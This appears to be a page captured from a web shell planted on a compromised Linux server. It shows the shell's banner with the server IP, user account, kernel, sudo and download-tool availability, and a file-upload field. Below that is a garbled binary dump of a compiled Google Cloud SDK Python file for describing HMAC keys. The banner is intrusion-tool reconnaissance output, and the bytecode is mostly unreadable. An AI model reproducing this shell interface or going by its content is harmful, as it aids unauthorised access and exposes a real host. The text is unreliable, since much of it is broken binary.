| Server IP : 35.236.43.222 / Your IP : 216.73.216.143 Web Server : Apache System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64 User : deploy ( 1002) PHP Version : 8.1.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/lib/google-cloud-sdk/lib/surface/storage/hmac/__pycache__/ |
Upload File : |
�
��� � � � d Z ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddl m
Z
ej G d� d ej � � � � Z
d
S )z0Implementation of describe command for HMAC key.� )�absolute_import)�division)�unicode_literals)�api_factory)�base)�storage_urlc �8 � e Zd ZdZddd�Zed� � � Zd� ZdS )�Describez%Describes a service account HMAC key.z�
*{command}* retrieves the specified HMAC key's metadata. Note that there
is no option to retrieve a key's secret material after it has
been created.
z�
The following command retrieves the HMAC key's metadata:
$ {command} GOOG56JBMFZX6PMPTQ62VD2
Note `GOOG56JBMFZX6PMPTQ62VD2` is the `ACCESS_ID` of the HMAC key.
)�DESCRIPTION�EXAMPLESc �@ � | � dt d�� � d S )N� access_idzgThe [Access ID](https://cloud.google.com/storage/docs/authentication/hmackeys#overview) of the HMAC key)�type�help)�add_argument�str)�parsers �$lib/surface/storage/hmac/describe.py�Argsz
Describe.Args- s5 � �
����
�
M� � � � � � � c � � t j t j j � � � |j � � }|j S )N)r �get_apir �ProviderPrefix�GCS�get_hmac_keyr �metadata)�self�args�
hmac_resources r �RunzDescribe.Run8 s: � ��'��"�&�� ��l�4�>�"�"� � �!�!r N)�__name__�
__module__�__qualname__�__doc__�
detailed_help�staticmethodr r � r r r
r
sZ � � � � � �-�-�
�
�
�
�-� �� � �<��"� "� "� "� "r r
N)r$ �
__future__r r r �googlecloudsdk.api_lib.storager �googlecloudsdk.callioper �"googlecloudsdk.command_lib.storager �UniverseCompatible�DescribeCommandr
r'